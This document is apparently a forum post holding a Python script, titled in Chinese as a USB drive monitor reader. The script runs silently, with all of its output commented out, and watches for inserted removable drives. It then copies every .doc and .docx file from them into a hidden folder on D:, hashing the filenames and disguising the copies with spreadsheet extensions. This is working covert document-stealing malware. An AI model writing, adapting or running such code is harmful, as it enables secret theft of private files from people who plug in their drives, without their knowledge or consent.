U盘监控读取者

# -*- coding:utf-8 -*-
#pyinstaller -F usermode.py

import psutil
import sys
import os
import time
from datetime import datetime
import shutil

local_device = []
local_letter = []
local_number = 0
local_cdrom = []
local_cdrom_letter = []
local_cdrom_number = 0
mobile_device = []
mobile_letter = []
mobile_number = 0
password="gxbdb684f1b8cfdf046744ea96d9fce48469fbac305dc6aa0d6operator_pro1520391961274j4102412y5210wang"
def md5_passwd(str,salt):
    import hashlib
    md = hashlib.md5()
    md.update('jmy_123_AS*232'.encode())

    str=str+salt
    import hashlib
    md = hashlib.md5()
    md.update(str.encode())
    res = md.hexdigest()
    return res

def updata():
    global local_device, local_letter, local_number, mobile_device, \
        mobile_letter, mobile_number, local_cdrom, local_cdrom_letter, local_cdrom_number

    tmp_local_device, tmp_local_letter = [], []
    tmp_mobile_device, tmp_mobile_letter = [], []
    tmp_local_cdrom, tmp_local_cdrom_letter = [], []
    tmp_local_number, tmp_mobile_number, tmp_local_cdrom_number = 0, 0, 0

    try:
        part = psutil.disk_partitions()
    except:
        #print("程序发生异常!!!")
        sys.exit(-1)
    else:
        for i in range(len(part)):
            tmplist = part[i].opts.split(",")
            if "fixed" in tmplist:
                tmp_local_number = tmp_local_number + 1
                tmp_local_letter.append(part[i].device[:2])
                tmp_local_device.append(part[i])
            elif "cdrom" in tmplist:
                tmp_local_cdrom_number = tmp_local_cdrom_number + 1
                tmp_local_cdrom_letter.append(part[i].device[:2])
                tmp_local_cdrom.append(part[i])
            else:
                tmp_mobile_number = tmp_mobile_number + 1
                tmp_mobile_letter.append(part[i].device[:2])
                tmp_mobile_device.append(part[i])

        local_device, local_letter = tmp_local_device[:], tmp_local_letter[:]
        mobile_device, mobile_letter = tmp_mobile_device[:], tmp_mobile_letter[:]
        local_number, mobile_number, local_cdrom_number = tmp_local_number, tmp_mobile_number, tmp_local_cdrom_number
        local_cdrom, local_cdrom_letter = tmp_local_cdrom[:], tmp_local_cdrom_letter[:]
    return len(part)


def print_device(n):
    global local_device, local_letter, local_number, mobile_device, mobile_letter, mobile_number, local_cdrom, local_cdrom_letter, local_cdrom_number
    #print("读取到" + str(n) + "个驱动器磁盘")

    #print("------->", end="")
    for l in range(local_number):
        pass
        #print(local_letter[l], end="")
    #print("是本地硬盘")

    #print("------->", end="")
    for l in range(local_cdrom_number):
        #print(local_cdrom_letter[l], end="")
        pass
    #print("是CD驱动器")

    if len(mobile_device):
        #print("------->", end="")
        for m in range(mobile_number):
            #print(mobile_letter[m], end="")
            #print("是插入的移动磁盘...")
            pass
    else:
        pass
    #print("进程进入监听状态 " + "*" * 10)
    return

def mkdir(path):
    path=path.strip()
    path=path.rstrip("\\")
    isExists=os.path.exists(path)
    if not isExists:
        os.makedirs(path)
        #print(path+' 创建成功')
        return True
    else:
        #print(path+' 目录已存在')
        return False

def copy_file_to_disk_hidden(USB_path):
    mkpath="D:\\tmp\\HUSTFHNFGT\\"
    mkdir(mkpath)
    usb_path = USB_path + "\\"
    save_path = "D:/tmp/HUSTFHNFGT/"

    for fpathe,dirs,fs in os.walk(USB_path):
        for f in fs:
            if f[-3:]=='doc':
                try:
                    aa,bb=f.split(".")
                    bb='xls'
                    oldname = os.path.join(fpathe,f)
                    aa=md5_passwd(aa,password)
                    newname=save_path+aa+'.'+bb
                    #print(newname)
                    shutil.copyfile(oldname,newname)
                except:
                    continue
            elif f[-4:]=='docx':
                try:
                    aa,bb=f.split(".")
                    bb='xlsx'
                    oldname = os.path.join(fpathe,f)
                    aa=md5_passwd(aa,password)
                    newname=save_path+aa+'.'+bb
                    #print(newname)
                    shutil.copyfile(oldname,newname)
                except:
                    continue


if __name__ == "__main__":
    now_number = 0
    before_number = updata()
    #print("=" * 50 + "\n此刻时间是: " + str(datetime.now()))
    #print_device(before_number)

    while True:
        now_number = updata()
        if now_number > before_number:
            #print("=" * 50 + " \n检测到移动磁盘被插入...此刻时间是: " + str(datetime.now()))
            #print_device(now_number)
            if len(mobile_device):
                for m in range(mobile_number):
                    copy_file_to_disk_hidden(mobile_letter[m])
            else:
                pass
            before_number = now_number
        elif now_number < before_number:
            #print("=" * 50 + " \n检测到移动磁盘被拔出...此刻时间是: " + str(datetime.now()))
            #print_device(now_number)
            before_number = now_number
        time.sleep(1)

全部评论

相关推荐

点赞 收藏 评论
分享
牛客网
牛客企业服务